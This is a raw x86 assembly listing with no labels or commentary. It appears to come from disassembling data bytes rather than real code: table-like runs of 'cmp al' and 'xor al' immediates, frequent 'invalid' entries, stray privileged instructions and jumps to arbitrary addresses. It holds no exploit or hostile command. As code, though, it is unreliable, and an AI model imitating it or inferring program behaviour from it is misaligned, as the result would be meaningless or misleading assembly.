cmp al, 0xd0
cmp al, 0xd4
cmp al, 0xd8
cmp al, 0xdc
cmp al, 0xe0
cmp al, 0xe4
cmp al, 0xe8
cmp al, 0xec
cmp al, 0xf0
cmp al, 0xf4
cmp al, 0xf8
cmp al, 0xfc
cmp al, 0
cmp eax, 0x3d083d04
or al, 0x3d
adc byte [0x3f193d14], bh
and eax, 0x3f583f
add byte [eax], al
xor byte [edx], al
add byte [eax + eax], dh
add byte [eax], al
dec edx
xor byte [esi + 0x30], dl
xchg esp, eax
xor dl, cl
xor esi, edx
xor dword [ecx], ecx
xor bh, byte [edx + 0x33]
mov dword [ebx], esi
lds esi, [ebx]
mov cl, 0x37
sal byte [edi], 0xe0
aaa
adc dword [eax], edi
sbb bh, byte [eax]
cmpsd dword [esi], dword es:[edi]
cmp byte [eax - 0x13c728c8], dh
cmp bl, bh
cmp byte [ecx], ah
cmp esp, ebp
aas
add byte [eax], al
add byte [eax + 2], al
add byte [eax], ch
add byte [eax], al
sbb dh, byte [eax]
xor al, 0x30
dec edx
xor byte [edx + 0x30], dl
pop edx
xor byte [eax + 0x30], ch
jne 0x45adb6
int1
xor byte [ebx], al
xor dword [ecx], ecx
xor dword [ebx], ebp
xor dword [esi + 0x31], edx
cmp byte [eax + edi - 0x6e], bh
cmp byte [eax - 0x23c739c8], dh
cmp dl, bh
cmp byte [eax], bl
cmp dword [esi], ebp
cmp dword [ecx + edi + 0x62], eax
cmp dword [eax + 0x39], edi
xchg esi, eax
cmp dword [ecx + edi + 0x39e039ca], ebp
cmp edx, ecx
cmp eax, esp
cmp esi, edi
cmp edx, ecx
cmp eax, esp
cmp esi, edi
cmp dword [edx + edi], ebx
cmp bh, byte [edx]
pop eax
cmp ch, byte [esi + 0x3a]
test byte [edx], bh
lcall 0xf43a, 0xd63ab83a
cmp cl, byte [ebx + edi]
sbb al, 0x3b
cmp bh, byte [ebx]
pop eax
cmp esi, dword [eax + 0x3b]
mov byte [ebx], bh
invalid
sar byte [eax + eax], 0
add byte [eax + 2], dl
add byte [eax + eax], bh
add byte [eax], al
push edx
cmp dword [ecx + 0x39], esp
cmp dword [bp - 0xbc6], edi
cmp ecx, dword [edx]
cmp eax, 0x3dad3d4a
pop ecx
insb byte es:[edi], dx
stc
xor bh, byte ds:[edi]
pop edx
aas
aas
outsb dx, byte [esi]
aas
cmp byte [edi], 0x96
aas
mov al, byte [0xb43faa3f]
aas
enter 0xffffffffffffd23f, 0x3f
fdivr qword [edi]
out 0x3f, al
invalid
xor byte [eax + 0x30], ch
jl 0x45ae5e
xchg byte [eax], dh
lcall 0xcc30, 0xb830ae30
xor dh, dl
xor dl, ch
xor dh, bh
xor byte [edx], dl
xor dword [esi], esp
xor dword [eax], esi
xor dword [edx], edi
xor dword [ecx + esi + 0x58], eax
xor dword [ecx + esi + 0x76], ebp
xor dword [eax - 0x61ce75cf], eax
xor dword [edx - 0x39ce43cf], esi
xor eax, edx
xor edx, ebx
xor esi, ebp
out dx, al
xor dword [edx], eax
xor dl, byte [esi]
xor ch, byte [edx]
xor bh, byte [esi]
xor cl, byte [eax + 0x32]
pop esp
xor dh, byte [eax + 0x32]
test byte [edx], dh
cwde
xor ch, byte [edx + esi + 0x32d432c0]
jb 0x45aead
jnp 0x45aeaf
popfd
xor esp, dword [ecx]
pop ebp
dec esp
cmp dword [ecx + 0x39], ebx
test dword [ecx], edi
cmp dword [eax], eax
add byte [eax], al
jo 0x45ae91
cmp dword [eax], eax
add byte [eax], al
jo 0x45ae91
add byte [eax - 0x54000000], al
xor byte [ebp - 0x31cf44d0], dh
add byte [eax], al
add byte [eax + esi + 0x30bb30b5], ch
into
xor dh, dl
in eax, 0x36
push cs
aaa
add al, 0x39
sbb edi, dword [ecx]
xor bh, byte [ecx]
lea edi, [ecx]
popfd
cmp dword [edi + 0x3a], esi
retf
cmp cl, bl
cmp dl, cl
cmp bh, dl
cmp cl, byte [esi]
cmp ebx, dword [eax - 0x18c453c5]
cmp edi, edx
cmp esp, dword [edx]
cmp al, 0x32
cmp al, 0x4c
cmp al, 0x57
cmp al, 0x6c
cmp al, 0x96
cmp al, 0xaa
cmp al, 0xbb
cmp al, 0xce
cmp al, 0xfd
cmp al, 4
cmp eax, 0x3d263d14
cmp eax, 0x6f3d513d
cmp eax, 0x3dca3d7b
fidivr dword [0x3e1d3e0f]
inc edx
push ebp
bound edi, qword ds:[esi]
jle 0x45af2e
wait
mov dl, 0x3e
int3
in eax, dx
add bh, byte ds:[edi]
sbb al, 0x3f
sub eax, 0x843f333f
aas
xchg esp, eax
aas
mov cl, 0x3f
loopne 0x45af47
in al, dx
aas
add byte [eax], al
add byte [eax + 0x680002], al
add byte [eax], al
adc eax, 0x78302c30
xor byte [eax + esi + 0x30e330c3], cl
xor bl, al
xor bl, ah
xor dh, bh
xor bl, al
xor bl, ah
xor dh, bh
xor byte [0x46313631], ah
xor dword [eax + 0x31], ebx
jle 0x45af5d
lea esi, [ecx]
movsb byte es:[edi], byte [esi]
xor dword [ecx + esi + 0x320c31e5], esi
sub byte [edx], dh
wait
xor dh, byte [ebx + esi + 0x33cf33c9]
invalid
xor al, 0x25
xor al, 0x78
xor eax, 0x35ac359a
and byte [edi], dh
xor esi, dword [edi]
inc edi
cmp byte [ebx + 0x38], dl
pop ecx
cmp byte [edx + 0x38], ah
dec eax
cmp dword [eax + 0x39], edi
xchg edx, eax
cmp bl, byte [eax + 0x3b]
cmp byte [ebx], 0xd5
cmp eax, 0x3e853e04
lahf
aas
int 0x3f
jmp 0x45afb4
in eax, dx
cmp byte [eax], al
add byte [eax], al
mov al, byte [0xc0002]
add byte [eax], al
adc dword [0xb0000000], esi
add al, byte [eax]
dec esp
add byte [eax], al
add byte [ecx + 0x31], al
lodsb al, byte [esi]
xor esi, dword [ebx]
aaa
dec esp
aaa
jl 0x45b00d
xor dword [edi], 0x3c
cmp dword [edx + 0x39], ebp
jno 0x45b017
cdq
cmp eax, edx
cmp dword [ecx], edi
cmp cl, byte [ebp + 0x3a]
lea edi, [edx]
int 0x3a
sar dword [edx], cl
loop 0x45b028
cmp cl, byte [ebx + 0x183c093b]
cmp al, 0x42
cmp al, 0x5c
cmp al, 0x68
cmp al, 0x76
cmp al, 0x88
cmp al, 0xc4
cmp al, 0xd6
cmp al, 0xd
cmp eax, 0x3d473d25
inc ecx
aas
retf
aas
xlatb
aas
add al, al
add al, byte [eax]
add byte [eax], bl
invalid
add byte [eax], bl
add byte [eax], al
or byte [eax], dh
wait
xor byte [edi + 0x4030da30], ah
xor al, 0xaa
add byte [eax], cl
xor byte [ebx - 0x25cf58d0], bl
xor byte [eax + 0x34], al
stosb byte es:[edi], al
xor eax, 0x35bc35b6
int 0x35
jae 0x45b062
mov cl, 0x36
sal byte [esi], 1
daa
aaa
aaa
dec eax
aaa
jnp 0x45b06f
scasb al, byte es:[edi]
aaa
invalid
cmp dword [edx + 0x403a3139], edi
cmp cl, byte [edx + edi + 0x54]
cmp dh, cl
cmp dh, bh
cmp al, byte [edx]
cmp ecx, dword [ebp + 0x3b]
pop esp
cmp esp, dword [ebx + edi + 0x3e583d29]
jb 0x45b098
cmp byte [esi], 0x3f
aas
bound edi, qword [edi]
insb byte es:[edi], dx
aas
xchg byte [edi], bh
sar byte [edi], 0xf8
aas
add al, dl
add al, byte [eax]
test byte [eax], al
add byte [eax], al
pop edx
xor ch, ch
add byte [edx + 0x30], bl
in eax, dx
xor byte [0x2f312231], cl
xor dword [ecx + 0x31], ecx
jne 0x45b0af
ja 0x45b0b3
test dword [ebx], esi
fnstenv [ebx]
jmp 0x2779c9bc
inc ebp
aaa
pop ebp
aaa
pushfd
aaa
add al, 0x38
or bh, byte [eax]
adc al, 0x38
sub eax, 0x61384038
cmp byte [ebp + 0x38], bh
lds edi, [eax]
loope 0x45b0e8
cmp byte [eax], dl
cmp dword [ecx + 0x39], ecx
jle 0x45b0ef
adc byte [ecx], bh
dec ecx
cmp dword [esi + 0x39], edi
sahf
cmp dword [edi - 0x20c62ec7], ebp
cmp ecx, edi
cmp dword [ebp + 0x3a], edx
mov bh, byte [edx]
invalid
push ecx
aas
jle 0x45b12b
add al, ah
add al, byte [eax]
pop eax
add byte [eax], al
add byte [eax + 0x31], ch
outsb dx, byte [esi]
xor dword [ecx + esi - 0x65], esi
wait
add byte [eax], bl
add byte [eax], al
push 0x74316e31
xor dword [ebx + 0x5c31c531], ebx
wait
xor ebp, eax
xor dword [ebx + esi + 0x64], ebx
xor eax, dword [ecx - 0x18cc4fcd]
xor ecx, dword [edi]
wait
xor ebp, eax
xor dword [ebx + esi + 0x64], ebx
xor eax, dword [ecx - 0x18cc4fcd]
xor ecx, dword [edi]
xor al, 0x15
xor al, 0x69
xor al, 0x79
xor al, 0xa2
xor al, 0xb0
xor al, 0x45
aaa
pop eax
aaa
aaa
insb byte es:[edi], dx
aaa
mov esi, dword [edi]
xchg ebp, eax
aaa
mov dword [0xbb37ad37], eax
aaa
invalid
cmp ch, bh
cmp byte [ecx], bl
cmp dword [0x64394b39], ebp
cmp ecx, dword [ebx + edi + 0x3eff3dad]
sub bh, byte [edi]
push esi
aas
pop esp
aas
cdq
aas
aad 0x3f
add al, dh
add al, byte [eax]
loopne 0x45b14a
add byte [eax], al
lodsb al, byte [esi]
xor cl, ah
xor cl, dh
xor byte [ecx], al
xor dword [ecx], edx
xor dword [ecx], esp
xor dword [ebx + 0x31], edi
xchg dword [ecx], esi
mov eax, 0x2331e831
xor dl, cl
xor esp, eax
xor esp, esi
xor eax, dword [edx]
xor al, 0x49
xor al, 0x59
xor al, 0x80
xor al, 0x9d
xor al, 0xb1
xor al, 0xc2
xor al, 0xcc
xor al, 0xde
xor al, 0xe4
xor al, 0x29
xor eax, 0x355e3539
cmp dword [0x3572355e], esi
cmp dword [0x3572355e], esi
mov ecx, 0xee35c935
xor eax, 0x3cef3ca4
sbb edi, dword [0x3d263d20]
push 0xd13dc73d
cmp eax, 0x3e313dd7
dec eax
push 0x703e6c3e
je 0x45b1e6
js 0x45b1e8
jl 0x45b1ea
cmp byte [esi], 0x84
mov byte ds:[esi], bh
invalid
pushfd
mov al, byte ds:[0xa83ea43e]
lodsb al, byte ds:[esi]
mov al, 0x3e
mov ah, 0x3e
mov eax, 0xc03ebc3e
les edi, ds:[esi]
enter 0xffffffffffffcc3e, 0x3e
sar byte [esi], 1
aam 0x3e
fdivr dword [esi]
fdivr qword [esi]
loopne 0x45b21c
in al, 0x3e
call 0xf0849e23
hlt
hlt
clc
cld
cld
add byte ds:[edi], bh
aas
add al, 0x3f
or byte [edi], bh
or al, 0x3f
adc byte [edi], bh
adc al, 0x3f
sbb byte [edi], bh
sbb al, 0x3f
and byte [edi], bh
and al, 0x3f
sub byte [edi], bh
sub al, 0x3f
xor byte [edi], bh
xor al, 0x3f
cmp byte [edi], bh
cmp al, 0x3f
inc eax
aas
inc esp
aas
dec eax
aas
dec esp
aas
push eax
aas
push esp
aas
pop eax
aas
pop esp
aas
pushal
aas
aas
push 0x3f
add byte [ebx], al
add byte [eax + eax], ah
add byte [eax], al
das
cmp dword ss:[esi], esi
inc esi
out 0x36, al
pop esi
aaa
jb 0x45b271
pushfd
cmp esi, dword [edi + 0x3e133d4d]
sbb dword [esi], edi
sbb dword [edi], edi
sub byte [edi], bh
cmp al, 0x3f
add byte [eax], dl
add eax, dword [eax]
inc esp
add byte [eax], al
add byte [ebp + 0x30], dh
xor dword [eax], 0x30ce30ba
invalid
xchg esp, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
jae 0x45b2b1
mov byte [ecx], bh
invalid
xor byte [ebx], al
add ah, cl
add byte [eax], al
add byte [edx + 0x30], ah
div dword [eax]
pop ds
xor dword [ecx], ebp
xor dword [ebx], esi
xor dword [0x51314731], edi
xor dword [ebx + 0x31], ebx
xor dword gs:[ecx + 0x31], edi
lea esi, [ecx]
xchg edi, eax
xor dword [ecx - 0x40ce54cf], esp
xor ebx, edx
xor ebp, ebx
xor ecx, esi
xor ebx, edi
xor dword [0x2d321932], eax
xor al, byte [ecx + 0x32]
dec ebx
xor dl, byte [ebp + 0x32]
imul esi, dword [edx], 0x3287327d
xchg ecx, eax
xor ah, byte [ebp - 0x46cd50ce]
xor cl, ch
xor dl, bh
xor ch, bl
xor bh, bh
xor dl, byte [ebx]
xor esp, dword [edi]
xor esi, dword [ecx]
xor edi, dword [ebx]
xor eax, dword [ebp + 0x33]
xor ebx, dword [ecx + 0x33]
arpl word [ebx], si
xor ebx, dword [ecx + 0x33]
arpl word [ebx], si
insd dword es:[edi], dx
xor eax, dword [ecx - 0x6acc74cd]
xor ebx, dword [edi - 0x42cc4ccd]
xor edx, ecx
xor esp, ebp
xor edi, ecx
xor ecx, dword [0x21341734]
xor al, 0x35
xor al, 0x49
xor al, 0x5d
xor al, 0x71
xor al, 0x85
xor al, 0x8f
xor al, 0xa3
xor al, 0xad
xor al, 0xb7
xor al, 0xcb
xor al, 0xd5
xor al, 0xdf
xor al, 0xf3
xor al, 7
pop es
pop es
xor eax, 0x352f351b
inc ebx
xor eax, 0x3557354d
imul esi, dword [0x357f3575], 0xffffff93
xor eax, 0x35bb35a7
iretd
stosd dword es:[edi], eax
xchg byte ss:[ebx], bh
cmpsb byte [esi], byte es:[edi]
cmp al, 0xb3
cmp al, 0
add byte [eax], al
inc eax
add eax, dword [eax]
sub al, 0
add byte [eax], al
jb 0x45b3b8
jle 0x45b3ba
ja 0x45b3bf
movsd dword es:[edi], dword [esi]
xor eax, 0x35f435b2
add byte [esi], dh
jno 0x45b3cd
mov byte [ecx], bh
lea edi, [ecx]
cmp cl, byte [edx]
cmp ecx, dword [edi]
cmp eax, dword [ebp + 0x3b]
fidivr dword [ebx]
cmp ebp, ecx
cmp ecx, dword [esi]
invalid
invalid
cmp ebp, ecx
cmp ecx, dword [esi]
fdivr dword ds:[edi]
add byte [eax + 3], dl
add al, cl
add byte [eax], al
add byte [eax - 0x78cd09d0], cl
xor al, 0x38
xor eax, 0x37343725
and eax, 0x63373437
aaa
xor al, 0x37
arpl word [edi], si
js 0x45b3f7
aaa
mov dword [edi], esi
jns 0x45b3fc
mov byte [eax], bh
test al, 0x38
fidivr dword [eax]
jmp 0x577ebe07
cmp dword [edi + 0x39], edx
jg 0x45b40b
mov dword [ecx], edi
xchg ebx, eax
cmp dword [ebp - 0x4ec658c7], ebx
cmp dword [ebx - 0x30c63ac7], edi
cmp ebx, esp
cmp ebp, ebp
cmp edi, esi
cmp dword [ebx], ecx
cmp bl, byte [edi]
cmp dh, byte [ebx]
cmp bh, byte [0x513a473a]
cmp ah, byte [ebp + 0x3a]
outsd dx, dword [esi]
cmp al, byte [ebx - 0x5ec568c6]
cmp ch, byte [ebx - 0x40c54ac6]
cmp cl, cl
cmp dl, bl
mov eax, dword [0xb53aab3a]
cmp bh, byte [edi - 0x2cc536c6]
cmp bl, ch
cmp ah, bh
cmp bh, bl
cmp cl, byte [edi]
cmp ebx, dword [ecx]
cmp esp, dword [ebx]
cmp esi, dword [edi]
cmp ecx, dword [ebx + 0x3b]
push ebp
cmp ebx, dword [edi + 0x3b]
jae 0x45b459
xchg dword [ebx], edi
wait
cmp esp, dword [ebp - 0x3cc446c5]
cmp ecx, ebp
cmp esp, ecx
cmp esi, ebp
cmp edi, edi
cmp ecx, dword [ecx]
cmp al, 0x13
cmp al, 0x27
cmp al, 0x31
cmp al, 0x3b
cmp al, 0x4f
cmp al, 0x63
cmp al, 0x6d
cmp al, 0x81
cmp al, 0x95
cmp al, 0x9f
cmp al, 0xa9
cmp al, 0xbd
cmp al, 0xd1
cmp al, 0xe5
cmp al, 0xf9
cmp al, 0xd
cmp eax, 0x3d353d21
dec ecx
cmp eax, 0x3d713d5d
test dword [0x3dad3d99], edi
sar dword [0x3f583dd5], 0x6f
cmp eax, 0x3f583dd5
outsd dx, dword [esi]
cmp eax, 0x3d853d71
cdq
cmp eax, 0x3dc13dad
cmp eax, 0x3f583dd5
cmp eax, 0x3f583dd5
outsd dx, dword [esi]
aas
je 0x45b4ab
loope 0x45b4ad
add byte [eax], al
add byte [eax + 3], ah
add byte [eax], ch
add byte [eax], al
add byte [edi + 0x31], bl
invalid
xor edi, ebp
out dx, eax
xor esi, edi
xor dword [esi], ebx
xor dl, byte [esi + 0x32]
xor al, byte gs:[edx + esi + 0x334b333c]
outsb dx, byte [esi]
xor edi, dword [eax + 0x1b33c133]
xor al, 0x2a
xor al, 0x43
xor al, 0xb6
xor al, 0xc5
xor al, 0xe6
xor al, 0x34
xor eax, 0x356f355f
xchg edi, eax
xor eax, 0x36af36a9
call 0x157cb415
aaa
inc edx
aaa
aaa
xchg dword [edi], esi
cwde
aaa
mov ebp, 0x2f37da37
cmp byte [esi + 0x38], dh
invalid
push edi
popfd
cmp eax, 0x3e823dd7
add byte [eax], al
add byte [eax + 0xf40003], dl
add byte [eax], al
jle 0x45b629
mov dh, byte [ebx]
mov ebx, 0x2e341733
xor al, 0x34
xor al, 0x49
xor al, 0x5f
xor al, 0x65
xor al, 0x7a
xor al, 0x90
xor al, 0x96
xchg esi, eax
xchg esi, eax
xor al, 0xab
xor al, 0xc1
xor al, 0xd7
xor al, 0xed
xor al, 0xf3
xor al, 8
xor eax, 0x3523350e
sub dword [0x3554353e], esi
pop edx
xor eax, 0x3585356f
wait
xor eax, 0x35c735b1
int 0x35
loop 0x45b667
clc
xor eax, 0x3624360e
sub dh, byte [esi]
aas
inc ebp
pop edx
jo 0x45b678
xchg byte [esi], dh
invalid
aaa
mov esi, 0xd937d337
aaa
aaa
sal dword [edi], cl
fnstenv [edi]
out dx, al
aaa
add al, 0x38
sbb bh, byte [eax]
xor byte [eax], bh
cmp byte ss:[ebx + 0x38], cl
push ecx
cmp byte [esi + 0x38], ah
insb byte es:[edi], dx
cmp byte [ecx - 0x63c778c8], al
cmp byte [edx - 0x38c748c8], ah
cmp bl, dl
cmp cl, bl
cmp dh, ch
cmp ah, dh
cmp byte [ecx], cl
cmp dword [edi], ecx
cmp dword [ecx + edi], esp
sub bh, byte [ecx]
aas
cmp dword [ebp + 0x39], eax
pop edx
cmp dword [eax + 0x39], esp
cmp dword [ebp + 0x39], esi
cmp dword [ebp + 0x39], esi
jnp 0x45b6df
nop
cmp dword [esi - 0x4ec654c7], edx
cmp eax, eax
cmp esi, eax
cmp dword [eax], esi
cmp dl, byte [esi + 0x3a]
cmp dword [edx], 0x3b073ad9
cmp edx, dword cs:[esi + 0x3b]
test byte [ebx], bh
stosd dword es:[edi], eax
cmp edx, edx
cmp esp, ebp
cmp eax, dword [esp + edi]
cmp al, 0x5c
cmp al, 0x82
cmp al, 0xac
cmp al, 0xda
cmp al, 0xff
cmp al, 0x2d
cmp eax, 0x3db33d4e
out 0x3d, eax
add byte [eax], al
add byte [eax + 0x500003], ah
cmp eax, 0xa0000000
add eax, dword [eax]
push eax
add byte [eax], al
add byte [ecx - 0x22cc47cd], ch
xor ebx, ebp
add byte [eax], al
mov al, byte [0x500003]
add byte [eax], al
test eax, 0xdd33b833
xor ebx, ebp
xor ebx, ebp
xor edi, dword [edi + 0x34]
xchg esi, eax
xor al, 0x77
xor eax, 0x39b339a6
fdivr dword [ecx]
pop esi
cmp al, byte [esi - 0x21c54bc6]
cmp al, byte [edi]
cmp esi, dword [esi]
cmp ebp, dword [ebx + 0x3b]
test eax, 0x83bde3b
cmp al, 0x63
cmp al, 0x91
cmp al, 0xa0
cmp al, 0xc3
cmp al, 0x74
cmp eax, 0x3d9f3d7d
call 0x5483df5e
js 0x45b762
mov edi, 0xf3ee63e
aas
aas
in al, dx
aas
cmc
aas
add byte [eax + 0x480003], dh
add byte [eax], al
pop ss
xor byte [ecx + 0x30], ah
invalid
mov ebp, 0xec3cc73c
cmp al, 0xd9
cmp eax, 0x3e0e3de6
or al, 0x3f
adc eax, 0x933f373f
aas
add byte [eax], al
add al, al
add eax, dword [eax]
mov al, 0
add byte [eax], al
wrmsr
push esp
xor byte [ebp + 0x30], bl
arpl word [eax], si
outsd dx, dword [esi]
xor byte [ebp + 0x30], dh
invalid
cmp byte [edi], bl
cmp dword [ecx + 0x39], ebp
push 0x9e3a783a
cmp dl, byte [ebx + 0x3c]
insb byte es:[edi], dx
cmp al, 0x7c
cmp al, 0x8f
cmp al, 0xb6
cmp al, 0xfc
cmp al, 0xf
cmp eax, 0x3d5a3d4a
imul edi, dword [0x3d883d79], 0x3da93d98
xor byte [esi], bh
inc ecx
inc esi
adc di, word ds:[edi]
sub edi, dword [edi]
cmp eax, 0xe63fd63f
aas
hlt
xor esp, esi
xor ecx, edi
xor dword [edi], edx
xor ch, byte [edx]
xor al, byte [eax]
add byte [eax], al
loopne 0x45b85a
add byte [eax], bh
add byte [eax], al
add byte [eax + 0x37], ah
add byte [eax], al
pushal
aaa
test byte [edi], dh
int3
mov bh, 0x3b
ret 0xe93b
insb byte es:[edi], dx
cmp eax, 0x3d9e3d77
test eax, 0xd73dcc3d
cmp eax, 0x3dfc3df1
and edi, dword [esi]
push ebp
pushal
xchg dword ds:[esi], edi
xchg edx, eax
mov ch, 0x3e
sar byte [esi], 0xfb
push es
aas
sub eax, 0x6e3f383f
aas
jns 0x45ba09
nop
aas
wait
aas
mov dl, 0x3f
mov ebp, 0xdf3fd43f
aas
idiv byte [edi]
add byte [eax], dl
add al, 0
inc eax
add dword [eax], eax
add byte [ecx], al
xor byte [ebx], cl
xor byte [esi], dl
xor byte [edi], dh
xor byte [edx + 0x30], al
pop esi
xor byte [ecx + 0x30], ch
xor byte [eax], 0x8b
xor byte [edx - 0x3bcf52d0], ah
xor bh, cl
xor cl, bh
xor byte [ecx + esi], al
push ds
xor dword [ecx], ebp
xor dword [eax + 0x31], eax
dec ebx
xor dword [edx + 0x31], esp
insd dword es:[edi], dx
xor dword [ecx + esi + 0x319f318f], eax
lodsb al, byte [esi]
xor dword [edi + 0x5831c431], esi
xor dh, byte [ebp + 0x32]
xor byte [edx], 0x97
xor ah, byte [edx - 0x3bcd46ce]
xor ch, bl
xor dh, dh
xor cl, byte [0x2f331833]
xor edi, dword [edx]
xor edx, dword [ecx + 0x33]
pop esp
xor esi, dword [ebx + 0x33]
jle 0x45ba6b
mov eax, dword [0xc333ac33]
xor ecx, esi
xor esi, ecx
xor edi, esp
xor edx, dword [ebx]
xor al, 0x1e
xor al, 0x45
xor al, 0x50
xor al, 0x5a
xor al, 0x65
xor al, 0x8c
xor al, 0x97
xor al, 0xbe
xor al, 0xc9
xor al, 0xe0
xor al, 0xeb
xor al, 0x11
xor eax, 0x353d351c
dec eax
xor eax, 0x3576356b
popfd
xor eax, 0x35cb35a8
salc
xor eax, 0x360835fd
sub esi, dword [esi]
xor eax, 0x35d635cb
std
xor eax, 0x362b3608
pop ebp
push 0x9d369736
enter 0xffffffffffffd636, 0x36
xor al, 0x37
dec ebx
aaa
pop esi
aaa
jg 0x45bac3
xchg edx, eax
aaa
in al, dx
aaa
invalid
cmp dword [ecx - 0x68c673c7], eax
cmp dword [ecx + edi + 0x39d539a7], ebx
loopne 0x45bafb
int1
cmp esp, edi
cmp dword [ebx], ecx
cmp dl, byte [esi]
cmp ah, byte [eax]
cmp ch, byte [ebx]
cmp ch, byte [ebp + 0x3a]
js 0x45bb0c
loope 0x45bb0e
in al, dx
cmp ah, byte [edi + 0x3c]
sub dword [0x3d693d35], edi
jge 0x45bb1d
mov byte [0x3da53d9a], bh
add eax, 0x443e153e
push ecx
pop esp
jl 0x45bb30
xchg dword [esi], edi
lcall 0xcc3e, 0xc13eb33e
sub bh, byte ds:[edi]
cmp byte [edi], bh
inc ebx
aas
dec ebp
aas
pop eax
aas
arpl word [edi], di
imul edi, dword [edi], 0x70
aas
jnp 0x45bb4d
loopne 0x45bb4f
call 0xf885a854
aas
add byte [eax], al
add byte [eax], ah
add al, 0
int3
add byte [eax], al
add byte [edi], ch
xor byte [edi - 0x45cf69d0], al
xor ch, al
xor byte [edi], dl
xor dword [edx], ebp
xor dword [ecx], edi
xor dword [esi + 0x31], eax
push ecx
xor dword [edx + 0x31], esp
inc esi
xor dword [ecx + 0x31], edx
bound esi, qword [ecx]
insd dword es:[edi], dx
xor dword [eax + 0x731ab31], esp
xor dl, byte [esi]
xor dl, byte [esi + 0x32]
mov ecx, 0x632c532
xor edx, dword [ebx + esi]
pop ds
xor esi, dword [edi + 0x33]
xchg byte [ebx], dh
mov cl, 0x33
pop es
xor eax, dword [esi + 0x733b133]
xor esi, dword [ecx + 0x16340733]
xor al, 0x16
xor al, 0x3a
xor al, 0x45
xor al, 0x4f
xor al, 0x5a
xor al, 0x6b
xor al, 0x78
xor al, 0x83
xor al, 0x9e
xor al, 0xc1
xor al, 0xd8
xor al, 0xdc
xor eax, 0x35fb35e6
out 0x35, al
sti
xor eax, 0x3633360b
out 0x35, al
sti
xor eax, 0x3633360b
dec edi
pop esi
insd dword es:[edi], dx
jge 0x45bbb2
invalid
cmp ch, dh
cmp dh, bh
cmp byte [eax], dh
cmp dword [ebx + 0x39], ecx
pop esp
cmp dword [ecx + 0x39], esi
ja 0x45bbed
xchg edx, eax
cmp dword [eax - 0x61c570c7], ebx
cmp dl, byte [ebp + 0x3b]
jnp 0x45bbfb
xchg dword [ebx], edi
xchg ecx, eax
cmp ebx, dword [edx + 0x3c]
cmp al, 0xa6
cmp al, 0xc1
cmp al, 0x16
cmp eax, 0x3d4e3d25
dec esi
invalid
invalid
dec esi
cmp eax, 0x3dd23dc6
push cs
jb 0x45bc1a
lodsb al, byte [esi]
or dword ds:[edi], edi
sbb dword [edi], edi
inc ecx
aas
add byte [eax], dh
add al, 0
inc eax
add byte [eax], al
add ah, cl
xor dl, dl
xor byte [ecx + 0x31], ah
xor si, bx
xor al, 0xe3
xor al, 0xfc
xor al, 1
xor eax, 0x35493543
inc ecx
xor bh, byte ss:[eax]
aaa
cmp byte [ecx + edi + 0x3b4b39cc], bh
enter 0xffffffffffffd83d, 0x3d
adc edi, dword [esi]
xchg esp, eax
mov al, byte ds:[0xcc3ea63e]
out dx, al
out dx, al
adc dword ds:[edi], edi
aas
je 0x45bc61
add byte [eax], al
add byte [eax + 4], al
add byte [eax + 0xf000000], dl
add byte [eax], al
wrmsr
imul esi, dword [eax], 0x79
invalid
add byte [eax], al
wrmsr
imul esi, dword [eax], 0x79
xor byte [edx - 0x2dcf3fd0], dh
mov dl, 0x30
sal byte [eax], 0xd2
xor dh, ah
xor ah, ch
xor byte [esi + 0x31], bl
insb byte es:[edi], dx
xor dword [ecx + esi - 0x73], edi
xor dword [ebp - 0x46ce56cf], ebx
xor ebp, ecx
xor ecx, ebx
xor dword [edx], edi
xor cl, byte [ecx + 0x32]
dec edi
xor bl, byte [edx + esi + 0x6a]
xor al, byte [edx + esi + 0x32bc32a7]
and dword [ebx], esi
nop
xor ebp, dword [esi + 0x4533f433]
xor eax, 0x3575355c
nop
xor eax, 0x35ad35a0
mov eax, 0x6b361135
invalid
scasb al, byte es:[edi]
xor esi, esp
xor eax, dword [ebp + 0x35]
pop esp
xor eax, 0x35903575
mov al, byte [0xb835ad35]
xor eax, 0x366b3611
invalid
inc eax
cmp dword [ecx + edi + 0x39b639a4], ecx
iretd
xor byte [0x3570353c], dh
xor dword [esi], esi
cmp eax, 0x11378236
cmp byte [0xe8385c38], bl
cmp ah, dh
cmp byte [esi], dh
cmp dword [ecx], esp
cmp ebp, dword [0xf83b703b]
cmp eax, dword [esp + edi]
dec edx
cmp al, 0x80
invalid
add al, 0
adc byte [eax], al
add byte [eax], al
add dword [eax], esi
or eax, 0x305130
add byte [eax], al
jo 0x45bd1f
add byte [eax + 0x64000003], al
xor eax, 0x356c3568
jo 0x45bd5d
add byte [ebp + esi + 0x68], ah
xor eax, 0x3570356c
je 0x45bd5f
js 0x45bd61
jl 0x45bd63
xor byte [0x35883584], 0x8c
xor eax, 0x35943590
cwde
xor eax, 0x35a0359c
movsb byte es:[edi], byte [esi]
xor eax, 0x35ac35a8
mov al, 0x35
mov ah, 0x35
mov eax, 0xc035bc35
xor eax, 0x35c835c4
int3
xor eax, 0x35e435e0
call 0xf07ba99c
xor eax, 0x35f835f4
clc
xor eax, 0x360035fc
add al, 0x36
xor eax, 0x35e835e4
in al, dx
xor eax, 0x35f435f0
xor eax, 0x35ec35e8
invalid
xor eax, 0x35f035ec
hlt
clc
xor eax, 0x360035fc
add al, 0x36
or byte [esi], dh
or al, 0x36
adc byte [esi], dh
adc al, 0x36
sbb byte [esi], dh
sbb al, 0x36
and byte [esi], dh
and al, 0x36
sub byte [esi], dh
sub al, 0x36
xor byte [esi], dh
xor al, 0x36
cmp byte [esi], dh
cmp al, 0x36
inc eax
inc esp
dec eax
dec esp
push eax
push esp
pop eax
pop esp
pushal
push 0x70366c36
je 0x45bde0
js 0x45bde2
jl 0x45bde4
xor byte [esi], 0x84
mov byte ss:[esi], dh
invalid
in al, 0x36
call 0xf07caa1d
hlt
in al, dx
invalid
cmp dl, byte [eax + 0x3a]
push esp
cmp bl, byte [eax + 0x3a]
pop esp
cmp ah, byte [eax + 0x3a]
cmp ch, byte fs:[eax + 0x3a]
insb byte es:[edi], dx
cmp dh, byte [eax + 0x3a]
je 0x45bfe4
js 0x45bfe6
jl 0x45bfe8
cmp byte [edx], 0x84
cmp cl, byte [eax - 0x6fc573c6]
cmp dl, byte [edx + edi + 0x3a9c3a98]
mov al, byte [0xa83aa43a]
cmp ch, byte [edx + edi + 0x3ab43ab0]
mov eax, 0xc03abc3a
mov esp, 0xc43ac03a
mov esp, 0xc43ac03a
cmp cl, al
cmp cl, ah
cmp dl, al
cmp dl, ah
cmp bl, al
cmp bl, ah
cmp ah, al
cmp ah, ah
cmp ch, al
cmp ch, ah
in al, dx
cmp dh, al
